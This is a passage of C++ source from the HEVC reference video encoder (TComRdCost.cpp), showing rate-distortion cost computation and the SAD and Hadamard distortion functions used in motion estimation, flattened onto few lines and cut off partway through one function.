38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 */
/* The copyright in this software is being made available under the BSD * License, included below. This software may be subject to other third party * and contributor rights, including patent rights, and no such rights are * granted under this license. * * Copyright (c) 2010-2016, ITU/ISO/IEC * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * Neither the name of the ITU/ISO/IEC nor the names of its contributors may * be used to endorse or promote products derived from this software without * specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF * THE POSSIBILITY OF SUCH DAMAGE. */ /** \file TComRdCost.cpp \brief RD cost computation class */ #include <math.h> #include <assert.h> #include <limits> #include "TComRom.h" #include "TComRdCost.h" //! \ingroup TLibCommon //! \{ TComRdCost::TComRdCost() { init(); } TComRdCost::~TComRdCost() { } // Calculate RD functions Double TComRdCost::calcRdCost( Double numBits, Double distortion, DFunc eDFunc ) { Double lambda = 1.0; switch ( eDFunc ) { case DF_SSE: assert(0); break; case DF_SAD: lambda = m_dLambdaMotionSAD[0]; // 0 is valid, because for lossless blocks, the cost equation is modified to compensate. break; case DF_DEFAULT: lambda = m_dLambda; break; case DF_SSE_FRAME: lambda = m_dFrameLambda; break; default: assert (0); break; } if (eDFunc == DF_SAD) { if (m_costMode != COST_STANDARD_LOSSY) { return ((distortion * 65536.0) / lambda) + numBits; // all lossless costs would have uiDistortion=0, and therefore this cost function can be used. } else { return distortion + (((numBits * lambda) ) / 65536.0); } } else { if (m_costMode != COST_STANDARD_LOSSY) { return (distortion / lambda) + numBits; // all lossless costs would have uiDistortion=0, and therefore this cost function can be used. } else { return distortion + (numBits * lambda); } } } Void TComRdCost::setLambda( Double dLambda, const BitDepths &bitDepths ) { m_dLambda = dLambda; m_sqrtLambda = sqrt(m_dLambda); m_dLambdaMotionSAD[0] = 65536.0 * m_sqrtLambda; m_dLambdaMotionSSE[0] = 65536.0 * m_dLambda; #if FULL_NBIT dLambda = 0.57 * pow(2.0, ((LOSSLESS_AND_MIXED_LOSSLESS_RD_COST_TEST_QP_PRIME - 12) / 3.0)); #else dLambda = 0.57 * pow(2.0, ((LOSSLESS_AND_MIXED_LOSSLESS_RD_COST_TEST_QP_PRIME - 12 - 6 * (bitDepths.recon[CHANNEL_TYPE_LUMA] - 8)) / 3.0)); #endif m_dLambdaMotionSAD[1] = 65536.0 * sqrt(dLambda); m_dLambdaMotionSSE[1] = 65536.0 * dLambda; } // Initalize Function Pointer by [eDFunc] Void TComRdCost::init() { m_afpDistortFunc[DF_DEFAULT] = NULL; // for DF_DEFAULT m_afpDistortFunc[DF_SSE ] = TComRdCost::xGetSSE; m_afpDistortFunc[DF_SSE4 ] = TComRdCost::xGetSSE4; m_afpDistortFunc[DF_SSE8 ] = TComRdCost::xGetSSE8; m_afpDistortFunc[DF_SSE16 ] = TComRdCost::xGetSSE16; m_afpDistortFunc[DF_SSE32 ] = TComRdCost::xGetSSE32; m_afpDistortFunc[DF_SSE64 ] = TComRdCost::xGetSSE64; m_afpDistortFunc[DF_SSE16N ] = TComRdCost::xGetSSE16N; m_afpDistortFunc[DF_SAD ] = TComRdCost::xGetSAD; m_afpDistortFunc[DF_SAD4 ] = TComRdCost::xGetSAD4; m_afpDistortFunc[DF_SAD8 ] = TComRdCost::xGetSAD8; m_afpDistortFunc[DF_SAD16 ] = TComRdCost::xGetSAD16; m_afpDistortFunc[DF_SAD32 ] = TComRdCost::xGetSAD32; m_afpDistortFunc[DF_SAD64 ] = TComRdCost::xGetSAD64; m_afpDistortFunc[DF_SAD16N ] = TComRdCost::xGetSAD16N; m_afpDistortFunc[DF_SADS ] = TComRdCost::xGetSAD; m_afpDistortFunc[DF_SADS4 ] = TComRdCost::xGetSAD4; m_afpDistortFunc[DF_SADS8 ] = TComRdCost::xGetSAD8; m_afpDistortFunc[DF_SADS16 ] = TComRdCost::xGetSAD16; m_afpDistortFunc[DF_SADS32 ] = TComRdCost::xGetSAD32; m_afpDistortFunc[DF_SADS64 ] = TComRdCost::xGetSAD64; m_afpDistortFunc[DF_SADS16N] = TComRdCost::xGetSAD16N; m_afpDistortFunc[DF_SAD12 ] = TComRdCost::xGetSAD12; m_afpDistortFunc[DF_SAD24 ] = TComRdCost::xGetSAD24; m_afpDistortFunc[DF_SAD48 ] = TComRdCost::xGetSAD48; m_afpDistortFunc[DF_SADS12 ] = TComRdCost::xGetSAD12; m_afpDistortFunc[DF_SADS24 ] = TComRdCost::xGetSAD24; m_afpDistortFunc[DF_SADS48 ] = TComRdCost::xGetSAD48; m_afpDistortFunc[DF_HADS ] = TComRdCost::xGetHADs; m_afpDistortFunc[DF_HADS4 ] = TComRdCost::xGetHADs; m_afpDistortFunc[DF_HADS8 ] = TComRdCost::xGetHADs; m_afpDistortFunc[DF_HADS16 ] = TComRdCost::xGetHADs; m_afpDistortFunc[DF_HADS32 ] = TComRdCost::xGetHADs; m_afpDistortFunc[DF_HADS64 ] = TComRdCost::xGetHADs; m_afpDistortFunc[DF_HADS16N] = TComRdCost::xGetHADs; m_costMode = COST_STANDARD_LOSSY; m_motionLambda = 0; m_iCostScale = 0; } // Static member function UInt TComRdCost::xGetExpGolombNumberOfBits( Int iVal ) { assert(iVal != std::numeric_limits<Int>::min()); UInt uiLength = 1; UInt uiTemp = ( iVal <= 0) ? (UInt(-iVal)<<1)+1: UInt(iVal<<1); while ( 1 != uiTemp ) { uiTemp >>= 1; uiLength += 2; } return uiLength; } Void TComRdCost::setDistParam( UInt uiBlkWidth, UInt uiBlkHeight, DFunc eDFunc, DistParam& rcDistParam ) { // set Block Width / Height rcDistParam.iCols = uiBlkWidth; rcDistParam.iRows = uiBlkHeight; rcDistParam.DistFunc = m_afpDistortFunc[eDFunc + g_aucConvertToBit[ rcDistParam.iCols ] + 1 ]; // initialize rcDistParam.iSubShift = 0; rcDistParam.m_maximumDistortionForEarlyExit = std::numeric_limits<Distortion>::max(); } // Setting the Distortion Parameter for Inter (ME) Void TComRdCost::setDistParam( const TComPattern* const pcPatternKey, const Pel* piRefY, Int iRefStride, DistParam& rcDistParam ) { // set Original & Curr Pointer / Stride rcDistParam.pOrg = pcPatternKey->getROIY(); rcDistParam.pCur = piRefY; rcDistParam.iStrideOrg = pcPatternKey->getPatternLStride(); rcDistParam.iStrideCur = iRefStride; // set Block Width / Height rcDistParam.iCols = pcPatternKey->getROIYWidth(); rcDistParam.iRows = pcPatternKey->getROIYHeight(); rcDistParam.DistFunc = m_afpDistortFunc[DF_SAD + g_aucConvertToBit[ rcDistParam.iCols ] + 1 ]; rcDistParam.m_maximumDistortionForEarlyExit = std::numeric_limits<Distortion>::max(); if (rcDistParam.iCols == 12) { rcDistParam.DistFunc = m_afpDistortFunc[DF_SAD12]; } else if (rcDistParam.iCols == 24) { rcDistParam.DistFunc = m_afpDistortFunc[DF_SAD24]; } else if (rcDistParam.iCols == 48) { rcDistParam.DistFunc = m_afpDistortFunc[DF_SAD48]; } // initialize rcDistParam.iSubShift = 0; } // Setting the Distortion Parameter for Inter (subpel ME with step) Void TComRdCost::setDistParam( const TComPattern* const pcPatternKey, const Pel* piRefY, Int iRefStride, Int iStep, DistParam& rcDistParam, Bool bHADME ) { // set Original & Curr Pointer / Stride rcDistParam.pOrg = pcPatternKey->getROIY(); rcDistParam.pCur = piRefY; rcDistParam.iStrideOrg = pcPatternKey->getPatternLStride(); rcDistParam.iStrideCur = iRefStride * iStep; // set Step for interpolated buffer rcDistParam.iStep = iStep; // set Block Width / Height rcDistParam.iCols = pcPatternKey->getROIYWidth(); rcDistParam.iRows = pcPatternKey->getROIYHeight(); rcDistParam.m_maximumDistortionForEarlyExit = std::numeric_limits<Distortion>::max(); // set distortion function if ( !bHADME ) { rcDistParam.DistFunc = m_afpDistortFunc[DF_SADS + g_aucConvertToBit[ rcDistParam.iCols ] + 1 ]; if (rcDistParam.iCols == 12) { rcDistParam.DistFunc = m_afpDistortFunc[DF_SADS12]; } else if (rcDistParam.iCols == 24) { rcDistParam.DistFunc = m_afpDistortFunc[DF_SADS24]; } else if (rcDistParam.iCols == 48) { rcDistParam.DistFunc = m_afpDistortFunc[DF_SADS48]; } } else { rcDistParam.DistFunc = m_afpDistortFunc[DF_HADS + g_aucConvertToBit[ rcDistParam.iCols ] + 1 ]; } // initialize rcDistParam.iSubShift = 0; } Void TComRdCost::setDistParam( DistParam& rcDP, Int bitDepth, const Pel* p1, Int iStride1, const Pel* p2, Int iStride2, Int iWidth, Int iHeight, Bool bHadamard ) { rcDP.pOrg = p1; rcDP.pCur = p2; rcDP.iStrideOrg = iStride1; rcDP.iStrideCur = iStride2; rcDP.iCols = iWidth; rcDP.iRows = iHeight; rcDP.iStep = 1; rcDP.iSubShift = 0; rcDP.bitDepth = bitDepth; rcDP.DistFunc = m_afpDistortFunc[ ( bHadamard ? DF_HADS : DF_SADS ) + g_aucConvertToBit[ iWidth ] + 1 ]; rcDP.m_maximumDistortionForEarlyExit = std::numeric_limits<Distortion>::max(); } Distortion TComRdCost::calcHAD( Int bitDepth, const Pel* pi0, Int iStride0, const Pel* pi1, Int iStride1, Int iWidth, Int iHeight ) { Distortion uiSum = 0; Int x, y; if ( ( (iWidth % 8) == 0 ) && ( (iHeight % 8) == 0 ) ) { for ( y=0; y<iHeight; y+= 8 ) { for ( x=0; x<iWidth; x+= 8 ) { uiSum += xCalcHADs8x8( &pi0[x], &pi1[x], iStride0, iStride1, 1 ); } pi0 += iStride0*8; pi1 += iStride1*8; } } else { assert ( ( (iWidth % 4) == 0 ) && ( (iHeight % 4) == 0 ) ); for ( y=0; y<iHeight; y+= 4 ) { for ( x=0; x<iWidth; x+= 4 ) { uiSum += xCalcHADs4x4( &pi0[x], &pi1[x], iStride0, iStride1, 1 ); } pi0 += iStride0*4; pi1 += iStride1*4; } } return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(bitDepth-8) ); } Distortion TComRdCost::getDistPart( Int bitDepth, const Pel* piCur, Int iCurStride, const Pel* piOrg, Int iOrgStride, UInt uiBlkWidth, UInt uiBlkHeight, const ComponentID compID, DFunc eDFunc ) { DistParam cDtParam; setDistParam( uiBlkWidth, uiBlkHeight, eDFunc, cDtParam ); cDtParam.pOrg = piOrg; cDtParam.pCur = piCur; cDtParam.iStrideOrg = iOrgStride; cDtParam.iStrideCur = iCurStride; cDtParam.iStep = 1; cDtParam.bApplyWeight = false; cDtParam.compIdx = MAX_NUM_COMPONENT; // just for assert: to be sure it was set before use cDtParam.bitDepth = bitDepth; if (isChroma(compID)) { return ((Distortion) (m_distortionWeight[compID] * cDtParam.DistFunc( &cDtParam ))); } else { return cDtParam.DistFunc( &cDtParam ); } } // ==================================================================================================================== // Distortion functions // ==================================================================================================================== // -------------------------------------------------------------------------------------------------------------------- // SAD // -------------------------------------------------------------------------------------------------------------------- Distortion TComRdCost::xGetSAD( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSADw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; const Int iCols = pcDtParam->iCols; const Int iStrideCur = pcDtParam->iStrideCur; const Int iStrideOrg = pcDtParam->iStrideOrg; const UInt distortionShift = DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth - 8); Distortion uiSum = 0; for(Int iRows = pcDtParam->iRows ; iRows != 0; iRows-- ) { for (Int n = 0; n < iCols; n++ ) { uiSum += abs( piOrg[n] - piCur[n] ); } if (pcDtParam->m_maximumDistortionForEarlyExit < ( uiSum >> distortionShift )) { return ( uiSum >> distortionShift ); } piOrg += iStrideOrg; piCur += iStrideCur; } return ( uiSum >> distortionShift ); } Distortion TComRdCost::xGetSAD4( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSADw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iSubShift = pcDtParam->iSubShift; Int iSubStep = ( 1 << iSubShift ); Int iStrideCur = pcDtParam->iStrideCur*iSubStep; Int iStrideOrg = pcDtParam->iStrideOrg*iSubStep; Distortion uiSum = 0; for( ; iRows != 0; iRows-=iSubStep ) { uiSum += abs( piOrg[0] - piCur[0] ); uiSum += abs( piOrg[1] - piCur[1] ); uiSum += abs( piOrg[2] - piCur[2] ); uiSum += abs( piOrg[3] - piCur[3] ); piOrg += iStrideOrg; piCur += iStrideCur; } uiSum <<= iSubShift; return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth-8) ); } Distortion TComRdCost::xGetSAD8( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSADw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iSubShift = pcDtParam->iSubShift; Int iSubStep = ( 1 << iSubShift ); Int iStrideCur = pcDtParam->iStrideCur*iSubStep; Int iStrideOrg = pcDtParam->iStrideOrg*iSubStep; Distortion uiSum = 0; for( ; iRows != 0; iRows-=iSubStep ) { uiSum += abs( piOrg[0] - piCur[0] ); uiSum += abs( piOrg[1] - piCur[1] ); uiSum += abs( piOrg[2] - piCur[2] ); uiSum += abs( piOrg[3] - piCur[3] ); uiSum += abs( piOrg[4] - piCur[4] ); uiSum += abs( piOrg[5] - piCur[5] ); uiSum += abs( piOrg[6] - piCur[6] ); uiSum += abs( piOrg[7] - piCur[7] ); piOrg += iStrideOrg; piCur += iStrideCur; } uiSum <<= iSubShift; return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth-8) ); } Distortion TComRdCost::xGetSAD16( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSADw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iSubShift = pcDtParam->iSubShift; Int iSubStep = ( 1 << iSubShift ); Int iStrideCur = pcDtParam->iStrideCur*iSubStep; Int iStrideOrg = pcDtParam->iStrideOrg*iSubStep; Distortion uiSum = 0; for( ; iRows != 0; iRows-=iSubStep ) { uiSum += abs( piOrg[0] - piCur[0] ); uiSum += abs( piOrg[1] - piCur[1] ); uiSum += abs( piOrg[2] - piCur[2] ); uiSum += abs( piOrg[3] - piCur[3] ); uiSum += abs( piOrg[4] - piCur[4] ); uiSum += abs( piOrg[5] - piCur[5] ); uiSum += abs( piOrg[6] - piCur[6] ); uiSum += abs( piOrg[7] - piCur[7] ); uiSum += abs( piOrg[8] - piCur[8] ); uiSum += abs( piOrg[9] - piCur[9] ); uiSum += abs( piOrg[10] - piCur[10] ); uiSum += abs( piOrg[11] - piCur[11] ); uiSum += abs( piOrg[12] - piCur[12] ); uiSum += abs( piOrg[13] - piCur[13] ); uiSum += abs( piOrg[14] - piCur[14] ); uiSum += abs( piOrg[15] - piCur[15] ); piOrg += iStrideOrg; piCur += iStrideCur; } uiSum <<= iSubShift; return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth-8) ); } Distortion TComRdCost::xGetSAD12( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSADw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iSubShift = pcDtParam->iSubShift; Int iSubStep = ( 1 << iSubShift ); Int iStrideCur = pcDtParam->iStrideCur*iSubStep; Int iStrideOrg = pcDtParam->iStrideOrg*iSubStep; Distortion uiSum = 0; for( ; iRows != 0; iRows-=iSubStep ) { uiSum += abs( piOrg[0] - piCur[0] ); uiSum += abs( piOrg[1] - piCur[1] ); uiSum += abs( piOrg[2] - piCur[2] ); uiSum += abs( piOrg[3] - piCur[3] ); uiSum += abs( piOrg[4] - piCur[4] ); uiSum += abs( piOrg[5] - piCur[5] ); uiSum += abs( piOrg[6] - piCur[6] ); uiSum += abs( piOrg[7] - piCur[7] ); uiSum += abs( piOrg[8] - piCur[8] ); uiSum += abs( piOrg[9] - piCur[9] ); uiSum += abs( piOrg[10] - piCur[10] ); uiSum += abs( piOrg[11] - piCur[11] ); piOrg += iStrideOrg; piCur += iStrideCur; } uiSum <<= iSubShift; return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth-8) ); } Distortion TComRdCost::xGetSAD16N( DistParam* pcDtParam ) { const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iCols = pcDtParam->iCols; Int iSubShift = pcDtParam->iSubShift; Int iSubStep = ( 1 << iSubShift ); Int iStrideCur = pcDtParam->iStrideCur*iSubStep; Int iStrideOrg = pcDtParam->iStrideOrg*iSubStep; Distortion uiSum = 0; for( ; iRows != 0; iRows-=iSubStep ) { for (Int n = 0; n < iCols; n+=16 ) { uiSum += abs( piOrg[n+ 0] - piCur[n+ 0] ); uiSum += abs( piOrg[n+ 1] - piCur[n+ 1] ); uiSum += abs( piOrg[n+ 2] - piCur[n+ 2] ); uiSum += abs( piOrg[n+ 3] - piCur[n+ 3] ); uiSum += abs( piOrg[n+ 4] - piCur[n+ 4] ); uiSum += abs( piOrg[n+ 5] - piCur[n+ 5] ); uiSum += abs( piOrg[n+ 6] - piCur[n+ 6] ); uiSum += abs( piOrg[n+ 7] - piCur[n+ 7] ); uiSum += abs( piOrg[n+ 8] - piCur[n+ 8] ); uiSum += abs( piOrg[n+ 9] - piCur[n+ 9] ); uiSum += abs( piOrg[n+10] - piCur[n+10] ); uiSum += abs( piOrg[n+11] - piCur[n+11] ); uiSum += abs( piOrg[n+12] - piCur[n+12] ); uiSum += abs( piOrg[n+13] - piCur[n+13] ); uiSum += abs( piOrg[n+14] - piCur[n+14] ); uiSum += abs( piOrg[n+15] - piCur[n+15] ); } piOrg += iStrideOrg; piCur += iStrideCur; } uiSum <<= iSubShift; return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth-8) ); } Distortion TComRdCost::xGetSAD32( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSADw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iSubShift = pcDtParam->iSubShift; Int iSubStep = ( 1 << iSubShift ); Int iStrideCur = pcDtParam->iStrideCur*iSubStep; Int iStrideOrg = pcDtParam->iStrideOrg*iSubStep; Distortion uiSum = 0; for( ; iRows != 0; iRows-=iSubStep ) { uiSum += abs( piOrg[0] - piCur[0] ); uiSum += abs( piOrg[1] - piCur[1] ); uiSum += abs( piOrg[2] - piCur[2] ); uiSum += abs( piOrg[3] - piCur[3] ); uiSum += abs( piOrg[4] - piCur[4] ); uiSum += abs( piOrg[5] - piCur[5] ); uiSum += abs( piOrg[6] - piCur[6] ); uiSum += abs( piOrg[7] - piCur[7] ); uiSum += abs( piOrg[8] - piCur[8] ); uiSum += abs( piOrg[9] - piCur[9] ); uiSum += abs( piOrg[10] - piCur[10] ); uiSum += abs( piOrg[11] - piCur[11] ); uiSum += abs( piOrg[12] - piCur[12] ); uiSum += abs( piOrg[13] - piCur[13] ); uiSum += abs( piOrg[14] - piCur[14] ); uiSum += abs( piOrg[15] - piCur[15] ); uiSum += abs( piOrg[16] - piCur[16] ); uiSum += abs( piOrg[17] - piCur[17] ); uiSum += abs( piOrg[18] - piCur[18] ); uiSum += abs( piOrg[19] - piCur[19] ); uiSum += abs( piOrg[20] - piCur[20] ); uiSum += abs( piOrg[21] - piCur[21] ); uiSum += abs( piOrg[22] - piCur[22] ); uiSum += abs( piOrg[23] - piCur[23] ); uiSum += abs( piOrg[24] - piCur[24] ); uiSum += abs( piOrg[25] - piCur[25] ); uiSum += abs( piOrg[26] - piCur[26] ); uiSum += abs( piOrg[27] - piCur[27] ); uiSum += abs( piOrg[28] - piCur[28] ); uiSum += abs( piOrg[29] - piCur[29] ); uiSum += abs( piOrg[30] - piCur[30] ); uiSum += abs( piOrg[31] - piCur[31] ); piOrg += iStrideOrg; piCur += iStrideCur; } uiSum <<= iSubShift; return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth-8) ); } Distortion TComRdCost::xGetSAD24( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSADw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iSubShift = pcDtParam->iSubShift; Int iSubStep = ( 1 << iSubShift ); Int iStrideCur = pcDtParam->iStrideCur*iSubStep; Int iStrideOrg = pcDtParam->iStrideOrg*iSubStep; Distortion uiSum = 0; for( ; iRows != 0; iRows-=iSubStep ) { uiSum += abs( piOrg[0] - piCur[0] ); uiSum += abs( piOrg[1] - piCur[1] ); uiSum += abs( piOrg[2] - piCur[2] ); uiSum += abs( piOrg[3] - piCur[3] ); uiSum += abs( piOrg[4] - piCur[4] ); uiSum += abs( piOrg[5] - piCur[5] ); uiSum += abs( piOrg[6] - piCur[6] ); uiSum += abs( piOrg[7] - piCur[7] ); uiSum += abs( piOrg[8] - piCur[8] ); uiSum += abs( piOrg[9] - piCur[9] ); uiSum += abs( piOrg[10] - piCur[10] ); uiSum += abs( piOrg[11] - piCur[11] ); uiSum += abs( piOrg[12] - piCur[12] ); uiSum += abs( piOrg[13] - piCur[13] ); uiSum += abs( piOrg[14] - piCur[14] ); uiSum += abs( piOrg[15] - piCur[15] ); uiSum += abs( piOrg[16] - piCur[16] ); uiSum += abs( piOrg[17] - piCur[17] ); uiSum += abs( piOrg[18] - piCur[18] ); uiSum += abs( piOrg[19] - piCur[19] ); uiSum += abs( piOrg[20] - piCur[20] ); uiSum += abs( piOrg[21] - piCur[21] ); uiSum += abs( piOrg[22] - piCur[22] ); uiSum += abs( piOrg[23] - piCur[23] ); piOrg += iStrideOrg; piCur += iStrideCur; } uiSum <<= iSubShift; return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth-8) ); } Distortion TComRdCost::xGetSAD64( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSADw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iSubShift = pcDtParam->iSubShift; Int iSubStep = ( 1 << iSubShift ); Int iStrideCur = pcDtParam->iStrideCur*iSubStep; Int iStrideOrg = pcDtParam->iStrideOrg*iSubStep; Distortion uiSum = 0; for( ; iRows != 0; iRows-=iSubStep ) { uiSum += abs( piOrg[0] - piCur[0] ); uiSum += abs( piOrg[1] - piCur[1] ); uiSum += abs( piOrg[2] - piCur[2] ); uiSum += abs( piOrg[3] - piCur[3] ); uiSum += abs( piOrg[4] - piCur[4] ); uiSum += abs( piOrg[5] - piCur[5] ); uiSum += abs( piOrg[6] - piCur[6] ); uiSum += abs( piOrg[7] - piCur[7] ); uiSum += abs( piOrg[8] - piCur[8] ); uiSum += abs( piOrg[9] - piCur[9] ); uiSum += abs( piOrg[10] - piCur[10] ); uiSum += abs( piOrg[11] - piCur[11] ); uiSum += abs( piOrg[12] - piCur[12] ); uiSum += abs( piOrg[13] - piCur[13] ); uiSum += abs( piOrg[14] - piCur[14] ); uiSum += abs( piOrg[15] - piCur[15] ); uiSum += abs( piOrg[16] - piCur[16] ); uiSum += abs( piOrg[17] - piCur[17] ); uiSum += abs( piOrg[18] - piCur[18] ); uiSum += abs( piOrg[19] - piCur[19] ); uiSum += abs( piOrg[20] - piCur[20] ); uiSum += abs( piOrg[21] - piCur[21] ); uiSum += abs( piOrg[22] - piCur[22] ); uiSum += abs( piOrg[23] - piCur[23] ); uiSum += abs( piOrg[24] - piCur[24] ); uiSum += abs( piOrg[25] - piCur[25] ); uiSum += abs( piOrg[26] - piCur[26] ); uiSum += abs( piOrg[27] - piCur[27] ); uiSum += abs( piOrg[28] - piCur[28] ); uiSum += abs( piOrg[29] - piCur[29] ); uiSum += abs( piOrg[30] - piCur[30] ); uiSum += abs( piOrg[31] - piCur[31] ); uiSum += abs( piOrg[32] - piCur[32] ); uiSum += abs( piOrg[33] - piCur[33] ); uiSum += abs( piOrg[34] - piCur[34] ); uiSum += abs( piOrg[35] - piCur[35] ); uiSum += abs( piOrg[36] - piCur[36] ); uiSum += abs( piOrg[37] - piCur[37] ); uiSum += abs( piOrg[38] - piCur[38] ); uiSum += abs( piOrg[39] - piCur[39] ); uiSum += abs( piOrg[40] - piCur[40] ); uiSum += abs( piOrg[41] - piCur[41] ); uiSum += abs( piOrg[42] - piCur[42] ); uiSum += abs( piOrg[43] - piCur[43] ); uiSum += abs( piOrg[44] - piCur[44] ); uiSum += abs( piOrg[45] - piCur[45] ); uiSum += abs( piOrg[46] - piCur[46] ); uiSum += abs( piOrg[47] - piCur[47] ); uiSum += abs( piOrg[48] - piCur[48] ); uiSum += abs( piOrg[49] - piCur[49] ); uiSum += abs( piOrg[50] - piCur[50] ); uiSum += abs( piOrg[51] - piCur[51] ); uiSum += abs( piOrg[52] - piCur[52] ); uiSum += abs( piOrg[53] - piCur[53] ); uiSum += abs( piOrg[54] - piCur[54] ); uiSum += abs( piOrg[55] - piCur[55] ); uiSum += abs( piOrg[56] - piCur[56] ); uiSum += abs( piOrg[57] - piCur[57] ); uiSum += abs( piOrg[58] - piCur[58] ); uiSum += abs( piOrg[59] - piCur[59] ); uiSum += abs( piOrg[60] - piCur[60] ); uiSum += abs( piOrg[61] - piCur[61] ); uiSum += abs( piOrg[62] - piCur[62] ); uiSum += abs( piOrg[63] - piCur[63] ); piOrg += iStrideOrg; piCur += iStrideCur; } uiSum <<= iSubShift; return ( uiSum >> DISTORTION_PRECISION_ADJUSTMENT(pcDtParam->bitDepth-8) ); } Distortion TComRdCost::xGetSAD48( DistParam* pcDtParam ) { if ( pcDtParam->bApplyWeight ) { return TComRdCostWeightPrediction::xGetSADw( pcDtParam ); } const Pel* piOrg = pcDtParam->pOrg; const Pel* piCur = pcDtParam->pCur; Int iRows = pcDtParam->iRows; Int iSubShift = pcDtParam->iSubShift; Int iSubStep = ( 1 << iSubShift ); Int iStrideCur = pcDtParam->iStrideCur*iSubStep; Int iStrideOrg = pcDtParam->iStrideOrg*iSubStep; Distortion uiSum = 0; for( ; iRows != 0; iRows-=iSubStep ) { uiSum += abs( piOrg[0] - piCur[0] ); uiSum += abs( piOrg[1] - piCur[1] ); uiSum += abs( piOrg[2] - piCur[2] ); uiSum += abs( piOrg[3] - piCur[3] ); uiSum += abs( piOrg[4] - piCur[4] ); uiSum += abs( piOrg[5] - piCur[5] ); uiSum += abs( piOrg[6] - piCur[6] ); uiSum += abs( piOrg[7] - piCur[7] ); uiSum += abs( piOrg[8] - piCur[8] ); uiSum += abs( piOrg[9] - piCur[9] ); uiSum += abs( piOrg[10] - piCur[10] ); uiSum += abs( piOrg[11] - piCur[11] ); uiSum += abs( piOrg[12] - piCur[12] ); uiSum += abs( piOrg[13] - piCur[13] ); uiSum += abs( piOrg[14] - piCur[14] ); uiSum += abs( piOrg[15] - piCur[15] ); uiSum += abs( piOrg[16] - piCur[16] ); uiSum += abs( piOrg[17] - piCur[17] ); uiSum += abs( piOrg[18] - piCur[18] ); uiSum += abs( piOrg[19] - piCur[19] ); uiSum += abs( piOrg[20] - piCur[20] ); uiSum += abs( piOrg[21] - piCur[21] ); uiSum += abs( piOrg[22] - piCur[22] ); uiSum += abs( piOrg[23] - piCur[23] ); uiSum += abs( piOrg[24] - piCur[24] ); uiSum += abs( piOrg[25] - piCur[25] ); uiSum += abs( piOrg[26] - piCur[26] ); uiSum += abs( piOrg[27] - piCur[27] ); uiSum += abs( piOrg[28] - piCur[28] ); uiSum += abs( piOrg[29] - piCur[29] ); uiSum += abs( piOrg[30] - piCur[30] ); uiSum += abs( piOrg[31] - piCur[31] ); uiSum += abs( piOrg[32] - piCur[32] ); uiSum += abs( piOrg[33] - piCur[33] ); uiSum += abs( piOrg[34] - piCur[34] ); uiSum += abs( 